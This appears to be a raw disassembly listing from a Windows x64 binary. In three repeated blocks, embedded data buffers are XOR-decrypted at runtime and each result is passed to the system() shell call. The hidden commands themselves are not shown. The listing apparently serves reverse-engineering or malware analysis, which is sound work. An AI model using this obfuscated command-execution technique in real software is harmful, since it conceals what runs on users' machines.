movups xmmword [rbp + 0x1470], xmm0
movups xmm1, xmmword [0x1400dfd80]
movups xmm0, xmmword [0x1400dfd70]
movups xmmword [rbp + 0x14a0], xmm1
movups xmmword [rbp + 0x1490], xmm0
movzx eax, word [0x1400dfdb0]
movups xmm1, xmmword [0x1400dfda0]
movups xmm0, xmmword [str._t_nMDO]
mov word [rbp + 0x14d0], ax
movups xmmword [rbp + 0x14c0], xmm1
movups xmmword [rbp + 0x14b0], xmm0
mov r8d, edi
cmp esi, 2
jl 0x1400424d9
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1454]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x1400423e0
cmp r8d, 0x82
jge 0x140042526
movsxd rax, r8d
lea r9, [rbp + 0x1450]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x82
jl 0x1400424f0
lea rcx, [rbp + 0x1450]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400df7a0]
movups xmmword [rbp + 0x650], xmm0
movups xmm0, xmmword [0x1400df7c0]
movups xmmword [rbp + 0x670], xmm0
movups xmm0, xmmword [0x1400df7e0]
movups xmm1, xmmword [0x1400df7b0]
movups xmmword [rbp + 0x690], xmm0
movups xmmword [rbp + 0x660], xmm1
mov eax, dword [0x1400df818]
movups xmm0, xmmword [0x1400df800]
movups xmm1, xmmword [0x1400df7d0]
mov dword [rbp + 0x6c8], eax
movups xmmword [rbp + 0x6b0], xmm0
movups xmmword [rbp + 0x680], xmm1
movzx eax, word [0x1400df81c]
movsd xmm0, qword [0x1400df810]
movups xmm1, xmmword [0x1400df7f0]
mov word [rbp + 0x6cc], ax
movsd qword [rbp + 0x6c0], xmm0
movups xmmword [rbp + 0x6a0], xmm1
mov r8d, edi
cmp esi, 2
jl 0x1400426d3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x654]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x1400425e0
cmp r8d, 0x7e
jge 0x140042713
movsxd rax, r8d
lea r9, [rbp + 0x650]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7e
jl 0x1400426e0
lea rcx, [rbp + 0x650]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400dfdc0]
movups xmmword [rbp + 0x820], xmm0
movups xmm0, xmmword [0x1400dfde0]
movups xmm1, xmmword [0x1400dfdd0]
movups xmmword [rbp + 0x840], xmm0
movups xmmword [rbp + 0x830], xmm1
movups xmm0, xmmword [0x1400dfe00]
movups xmm1, xmmword [0x1400dfdf0]
movups xmmword [rbp + 0x860], xmm0
movups xmmword [rbp + 0x850], xmm1
mov eax, dword [0x1400dfe48]
movups xmm0, xmmword [0x1400dfe20]
movups xmm1, xmmword [0x1400dfe10]
mov dword [rbp + 0x8a8], eax
movups xmmword [rbp + 0x880], xmm0
movups xmmword [rbp + 0x870], xmm1
movzx eax, byte [0x1400dfe4c]
movsd xmm0, qword [0x1400dfe40]
movups xmm1, xmmword [0x1400dfe30]
mov byte [rbp + 0x8ac], al
movsd qword [rbp + 0x8a0], xmm0
movups xmmword [rbp + 0x890], xmm1
mov r8d, edi
cmp esi, 2
jl 0x1400428d9
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x824]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x1400427e0
movsxd rax, r8d
lea r9, [rbp + 0x820]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8d
jl 0x1400428f0
call fcn.1400395b0
nop
call fcn.140039510
int3